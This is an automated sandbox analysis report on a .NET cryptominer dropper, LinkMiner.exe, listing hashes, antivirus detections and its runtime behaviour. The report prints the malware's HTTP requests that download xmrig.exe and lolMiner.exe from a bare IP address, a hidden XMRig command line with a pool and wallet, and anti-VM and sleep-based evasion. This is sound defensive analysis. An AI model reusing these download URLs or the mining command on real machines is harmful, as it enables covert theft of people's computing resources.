Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	April 10, 2021, 8:54 a.m.	April 10, 2021, 9:09 a.m.

Size	47.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`2524a8e32a9ffb5fbbc685ce7be8a0d9`
SHA256	`f17d0956e99b2c85021c0567015ce8208ac3960c0ba159b4eff038dd977da828`
CRC32	`DB8F3BF3`
ssdeep	`768:3r0wkxlrmV0N9c38AaZBP5zC/wMw6osAWGf9z3VppWqvxBYc3qigxd:AwkxlrE0wCP5z/Mw6sWGlz3/pW+xQigx`
Yara	Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT PE_Header_Zero - PE File Signature Zero IsPE32 - (no description) IsNET_EXE - (no description) IsWindowsGUI - (no description)

LinkMiner.exe "C:\Users\test22\AppData\Local\Temp\LinkMiner.exe"
620
- xmrig.exe "C:\Users\test22\AppData\Roaming\reference\xmrig.exe" -o rx.unmineable.com:3333 -a rx -k -u BTT:TGg9e4NGEPaNxU91dwxBB712jCNVDWUtHz.cpuminertest22 --max-cpu-usage=30
  1892

Name	Response	Post-Analysis Lookup
rx.unmineable.com	A 165.22.245.34 CNAME rx.unminable.com CNAME rx-asia.unminable.com	165.22.245.37

IP Address	Status	Action
164.124.101.2	Active	Moloch
165.22.245.34	Active	Moloch
51.89.77.2	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameA April 10, 2021, 8:47 a.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 10, 2021, 8:54 a.m.			0	0
IsDebuggerPresent April 10, 2021, 8:54 a.m.			0	0

Command line console output was observed (50 out of 128 events)

Time & API	Arguments	Status	Return
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: Huge pages support was successfully enabled, but reboot required to use it console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: ABOUT console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: XMRig/6.10.0 console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: gcc/10.1.0 console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: LIBS libuv/1.41.0 OpenSSL/1.1.1j hwloc/2.4.1 console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: HUGE PAGES console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: unavailable console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: 1GB PAGES console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: unavailable console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: CPU Intel(R) Core(TM) i5-8400 CPU @ 2.80GHz (1) console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: 64-bit console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: AES console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: VM console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: L2: console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: 0.5 MB console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: L3: console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: 18.0 MB console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: C console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: T console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: NUMA: console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: MEMORY console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: GB console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: MOTHERBOARD console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: innotek GmbH console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: VirtualBox console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: DONATE console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: ASSEMBLY auto: console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: intel console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: POOL #1 console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: rx.unmineable.com:3333 console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: algo console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: rx/0 console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: COMMANDS console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: h console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: ashrate, console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: p console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: ause, console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: r console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: esume, console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: re console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: s console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: ults, console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: c console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: onnection console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: OPENCL console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: disabled console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: CUDA console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: disabled console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: net console_handle: 0x0000000000000013	1	1
WriteConsoleW April 10, 2021, 8:47 a.m.	buffer: use pool console_handle: 0x0000000000000013	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 10, 2021, 8:54 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	GET method with no useragent header, Connection to IP address				suspicious_request	GET http://51.89.77.2/plesk-site-preview/web106-9872.gh.schleyer-edv.space/https/51.89.77.2/xmrig.exe
suspicious_features	GET method with no useragent header, Connection to IP address				suspicious_request	GET http://51.89.77.2/plesk-site-preview/web106-9872.gh.schleyer-edv.space/https/51.89.77.2/lolMiner.exe

Performs some HTTP requests (2 events)

request	GET http://51.89.77.2/plesk-site-preview/web106-9872.gh.schleyer-edv.space/https/51.89.77.2/xmrig.exe
request	GET http://51.89.77.2/plesk-site-preview/web106-9872.gh.schleyer-edv.space/https/51.89.77.2/lolMiner.exe

Allocates read-write-execute memory (usually to unpack itself) (27 events)

Time & API	Arguments	Status	Return
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 983040 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003e0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00490000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtProtectVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72741000 process_handle: 0xffffffff	1	0
NtProtectVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72742000 process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 1376256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00b00000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00432000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0044c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00710000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00711000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00712000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00713000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00465000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0046b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00467000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00714000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00456000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0045a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00457000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0044a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0045b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:54 a.m.	process_identifier: 620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00715000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:47 a.m.	process_identifier: 1892 region_size: 81920 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000f40000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:47 a.m.	process_identifier: 1892 region_size: 262144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002910000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1	0
NtAllocateVirtualMemory April 10, 2021, 8:47 a.m.	process_identifier: 1892 region_size: 2097152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000000000 allocation_type: 536883200 (MEM_COMMIT\|MEM_RESERVE\|MEM_LARGE_PAGES) process_handle: 0xffffffffffffffff		-1073741727
NtAllocateVirtualMemory April 10, 2021, 8:47 a.m.	process_identifier: 1892 region_size: 131072 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002ce0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1	0

A process attempted to delay the analysis task. (1 event)

description

LinkMiner.exe tried to sleep 341 seconds, actually delayed analysis time by 341 seconds

Creates executable files on the filesystem (2 events)

file	C:\Users\test22\AppData\Roaming\reference\xmrig.exe
file	C:\Users\test22\AppData\Roaming\gpulib\lolMiner.exe

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW April 10, 2021, 8:54 a.m.	thread_identifier: 1316 thread_handle: 0x00000274 process_identifier: 1892 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "C:\Users\test22\AppData\Roaming\reference\xmrig.exe" -o rx.unmineable.com:3333 -a rx -k -u BTT:TGg9e4NGEPaNxU91dwxBB712jCNVDWUtHz.cpuminertest22 --max-cpu-usage=30 filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003c0	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses April 10, 2021, 8:54 a.m.	flags: 15 family: 0		111	0

Connects to an IRC server, possibly part of a botnet

Communicates with host for which no DNS query was performed (1 event)

host

51.89.77.2

Created a service where a service was also not started (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateServiceW April 10, 2021, 8:47 a.m.	service_start_name: start_type: 3 password: display_name: WinRing0_1_2_0 filepath: C:\Users\test22\AppData\Roaming\reference\WinRing0x64.sys service_name: WinRing0_1_2_0 filepath_r: C:\Users\test22\AppData\Roaming\reference\WinRing0x64.sys desired_access: 983551 service_handle: 0x00000000010377e0 error_control: 1 service_type: 1 service_manager_handle: 0x00000000010376f0	1	17004512	0

A stratum cryptocurrency mining command was executed (1 event)

cmdline

"C:\Users\test22\AppData\Roaming\reference\xmrig.exe" -o rx.unmineable.com:3333 -a rx -k -u BTT:TGg9e4NGEPaNxU91dwxBB712jCNVDWUtHz.cpuminertest22 --max-cpu-usage=30

Detects Virtual Machines through their custom firmware (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation April 10, 2021, 8:47 a.m.	information_class: 76 (SystemFirmwareTableInformation)		-1073741789	0

File has been identified by 36 AntiVirus engines on VirusTotal as malicious (36 events)

MicroWorld-eScan	Gen:Variant.Bulz.421173
ALYac	Gen:Variant.Bulz.421173
Cylance	Unsafe
Sangfor	Trojan.Win32.Wacatac.B
Alibaba	TrojanDownloader:MSIL/Bitmin.d8b687bb
Arcabit	Trojan.Bulz.D66D35
BitDefenderTheta	Gen:NN.ZemsilF.34670.cm0@aS7ZfXg
Symantec	ML.Attribute.HighConfidence
APEX	Malicious
Avast	FileRepMetagen [Malware]
Kaspersky	HEUR:Trojan-Downloader.MSIL.Bitmin.gen
BitDefender	Gen:Variant.Bulz.421173
Paloalto	generic.ml
AegisLab	Trojan.MSIL.Bitmin.a!c
Ad-Aware	Gen:Variant.Bulz.421173
Emsisoft	Gen:Variant.Bulz.421173 (B)
FireEye	Generic.mg.2524a8e32a9ffb5f
Sophos	Mal/Generic-S
Ikarus	Trojan.MSIL.CoinMiner
eGambit	Unsafe.AI_Score_99%
Avira	TR/Dropper.MSIL.Gen
Kingsoft	Win32.Troj.Undef.(kcloud)
Gridinsoft	Trojan.Win32.Downloader.sa
Microsoft	Trojan:Win32/CoinMiner.N!cl
GData	Gen:Variant.Bulz.421173
Cynet	Malicious (score: 100)
McAfee	RDN/CoinMiner
MAX	malware (ai score=83)
Malwarebytes	Generic.Malware/Suspicious
Rising	Downloader.Bitmin!8.2F63 (CLOUD)
SentinelOne	Static AI - Malicious PE
Fortinet	W32/Bitmin!tr.dldr
AVG	FileRepMetagen [Malware]
Panda	Trj/GdSda.A
CrowdStrike	win/malicious_confidence_100% (W)
Qihoo-360	Win32/Miner.BitMin.HwMAeFcA

LinkMiner.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All